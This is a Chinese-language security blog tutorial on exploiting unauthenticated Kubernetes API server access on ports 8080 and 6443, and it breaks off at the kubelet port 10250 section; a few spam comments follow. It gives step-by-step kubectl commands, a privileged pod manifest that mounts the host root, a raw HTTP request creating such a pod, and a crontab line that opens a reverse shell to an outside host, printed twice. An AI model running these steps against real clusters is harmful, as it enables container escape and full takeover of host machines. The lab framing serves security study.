云原生篇-K8s API 未授权
K8s结构截图
组件名称 | 默认端口 |
---|---|
api server | 8080/6443 |
dashboard | 8001 |
kubelet | 10250/10255 |
etcd | 2379 |
kube-proxy | 8001 |
docker | 2375 |
kube-scheduler | 10251 |
kube-controller-manager | 10252 |
API Server 未授权访问
apiServer在Kubernetes中是非常重要的,一旦配置不当导致未授权将会造成严重的后果,让我们来看下apiserver都能获得些什么
攻击8080端口
旧版本的K8s的API Server默认会开启两个端口,8080和6443,6443是安全端口,使用TLS加密,但是8080端口无需认证,仅用于测试。6443端口需要认证,且有TLS保护(k8s<1.16.0)
由于新版本k8s默认已不开启8080,所以需要更改kube-apiserver.yaml的配置。
此处设置为0表示关闭,将其修改为8080,并添加配置
vim /etc/kubernetes/manifests/kube-apiserver.yaml
--insecure-port=8080
--insecure-bind-address=0.0.0.0
systemctl restart kubelet #重启K8s服务
接下来我们访问master节点的8080端口,即可返回API接口列表,如果开发者使用8080端口并将其暴露在公网上,攻击者就可以通过该端口的API,直接对集群下发指令。
这里我们使用官方客户端工具kubectl尝试对api server连接列出
kubectl.exe -s 192.168.45.180 8080 get nodes
同理我们也可以对其进行列出当前的pods、创建pods、进入pods等操作
接下来我们可以通过创建特权容器来尝试拿到宿主机的权限
apiVersion: v1 # 创建该对象所使用的Kubernetes API版本
kind: Pod # 对象类型为Pod,可以是Deployment、DaemonSet等
metadata: # 识别对象唯一性数据,名称、namespace
name: test # Pod名称
spec: # Pod规格
containers:
- image: nginx # 镜像
name: test-container # 容器名称
volumeMounts: # 卷
- mountPath: /mnt # 将宿主机的根目录挂载到/mnt目录下
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
以上为创建特权容器的yaml文件,接下来我们使用kubectl生成一个恶意的容器
查看是否创建成功
kubectl.exe -s 192.168.45.180:8080 get pods
创建成功后,进入pod
kubectl.exe -s 192.168.45.180:8080 --namespace=default exec -it test bash
此处看到存在.dockerenv文件,代表目前是处于docker环境下,接下来可以使用计划任务反弹shell拿到宿主机的权限
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.45.128/8899 0>&1\n" >> /mnt/etc/crontab
成功获得宿主机node1的主机权限,如下图所示。
攻击6443端口
默认情况下,6443端口是需要认证的:
一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
6443端口的apiserver未授权访问利用和8080端口的apiserver未授权访问利用在开始时有一定的区别,到后面基本一致。
首先创建恶意pods
这里是使用post创建,可以用postman和burpsuite,我这里使用burpsuite
POST /api/v1/namespaces/default/pods/ HTTP/2
Host: 192.168.45.180:6443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/6.8.0(0x16080000) MacWechat/3.8.3(0x13080310) XWEB/30817 Flue
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Te: trailers
Content-Type: application/json
Content-Length: 693
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
连接判断pods是否创建,账号密码随意输入
kubectl.exe --insecure-skip-tls-verify -s https://192.168.45.180:6443 get pods
连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.45.180:6443 --namespace=default exec -it test02 bash
同8080端口一样,通过计划任务反弹shell到宿主机
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.45.128/8899 0>&1\n" >> /host/etc/crontab
Kubelet未授权访问
攻击10250
每一个Node节点都有一个kubelet服务,kubelet监听了10250、10248、10255等端口。
其中 10250 端口是 kubelet 与 apiserver 进行通信的主要端口,通过该端口 kubelet 可以知道自己当前应该处理的任务,该端口在最新版 Kubernetes 是有鉴权的。
在新版本 Kubernetes 中当使用以下配置打开匿名访问时便可能存在 kubelet 未授权访问漏洞。
默认是false,修改authentication的anonymous为true,将 authorization mode 修改为 AlwaysAllow,之后重启kubelet进程。
如果 10250 端口存在未授权访问漏洞,那么我们可以先使用 / pods 接口获取集群的详细信息,如 namespace,pods,containers 等。
4 条评论
看的我热血沸腾啊www.jiwenlaw.com
不错不错,我喜欢看 https://www.ea55.com/
怎么收藏这篇文章?
想想你的文章写的特别好https://www.jiwenlaw.com/